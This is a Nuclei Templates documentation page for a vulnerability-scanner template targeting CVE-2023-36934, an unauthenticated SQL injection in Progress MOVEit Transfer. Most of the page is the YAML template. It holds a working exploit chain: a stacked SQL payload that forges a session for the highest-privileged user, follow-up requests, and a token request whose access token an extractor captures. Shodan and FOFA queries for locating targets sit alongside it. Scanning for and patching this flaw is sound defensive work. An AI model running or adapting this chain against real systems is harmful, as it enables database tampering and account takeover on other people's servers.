Skip to content
Nuclei Templates

MOVEit Transfer - SQL Injection

ID: CVE-2023-36934

Severity: critical

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2023,moveit,rce,sqli,intrusive,progress

Description

Section titled “Description”

In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.

YAML Source

Section titled “YAML Source”
id: CVE-2023-36934


info:
  name: MOVEit Transfer - SQL Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    In Progress MOVEit Transfer before 2020.1.11 (12.1.11), 2021.0.9 (13.0.9), 2021.1.7 (13.1.7), 2022.0.7 (14.0.7), 2022.1.8 (14.1.8), and 2023.0.4 (15.0.4), a SQL injection vulnerability has been identified in the MOVEit Transfer web application that could allow an unauthenticated attacker to gain unauthorized access to the MOVEit Transfer database. An attacker could submit a crafted payload to a MOVEit Transfer application endpoint that could result in modification and disclosure of MOVEit database content.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data, modification of data, or even complete compromise of the application and underlying systems.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the MOVEit Transfer application.
  reference:
    - https://community.progress.com/s/article/MOVEit-Transfer-2020-1-Service-Pack-July-2023
    - https://blog.projectdiscovery.io/moveit-transfer-sql-injection/
    - https://thehackernews.com/2023/07/another-critical-unauthenticated-sqli.html
    - https://www.progress.com/moveit
    - https://github.com/KushGuptaRH/MOVEit-Response
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-36934
    cwe-id: CWE-89
    epss-score: 0.15264
    epss-percentile: 0.95843
    cpe: cpe:2.3:a:progress:moveit_transfer:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: progress
    product: moveit_transfer
    shodan-query: http.favicon.hash:989289239
    fofa-query: icon_hash=989289239
  tags: cve,cve2023,moveit,rce,sqli,intrusive,progress
variables:
  session_cookie: "{{randstr}}"


http:
  - raw:
      - |
        POST /human.aspx?Username=SQL%27%3BINSERT+INTO+activesessions+(SessionID)+values+(%27{{session_cookie}}%27);UPDATE+activesessions+SET+Username=(select+Username+from+users+order+by+permission+desc+limit+1)+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LoginName=%[email protected]%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+RealName=%[email protected]%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+InstId=%271234%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+IpAddress=%27{{public_ip()}}%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+LastTouch=%272099-06-10+09:30:00%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+DMZInterface=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+Timeout=%2760%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+ResilNode=%2710%27+WHERE+SessionID=%27{{session_cookie}}%27;UPDATE+activesessions+SET+AcctReady=%271%27+WHERE+SessionID=%27{{session_cookie}}%27%23 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        transaction=signon
      - |
        POST /human.aspx?ep={{url_encode(ep)}} HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: InitialPage=zzzz.aspx;


        transaction=passchangerequest
      - |
        POST /machine.aspx HTTP/2
        Host: {{Hostname}}
        Cookie: siLockLongTermInstID=0; ASP.NET_SessionId={{session}};


        a=a
      - |
        POST /api/v1/auth/token HTTP/1.1
        Host: {{Hostname}}
        User-Agent: python-requests/2.26.0
        Accept-Encoding: gzip, deflate
        Cookie: ASP.NET_SessionId={{session_cookie}}
        Content-Type: application/x-www-form-urlencoded


        grant_type=session&username=x&password=x


    matchers-condition: and
    matchers:
      - type: word
        part: body_4
        words:
          - '"refresh_token"'
          - '"access_token"'
          - '"token_type"'
          - '"expires_in"'
        condition: and


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        name: ep
        group: 1
        regex:
          - '\bep=([^&]+)"'
        internal: true
        part: body_1


      - type: regex
        name: session
        group: 1
        regex:
          - 'ASP.NET_SessionId=([^;]+)'
        internal: true
        part: header_2


      - type: regex
        group: 1
        regex:
          - '"access_token":"([^"]+)"'
        part: body_4
# digest: 4a0a00473045022039d08a26513d14922a3bffd3d2de097fcc2e3fbde87c1c8c3df438de246d5d28022100f9ff4da7ba5aacf3d886d6217aac6abc89196738bc5282f484105c7518290127:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-36934.yaml"

View on Github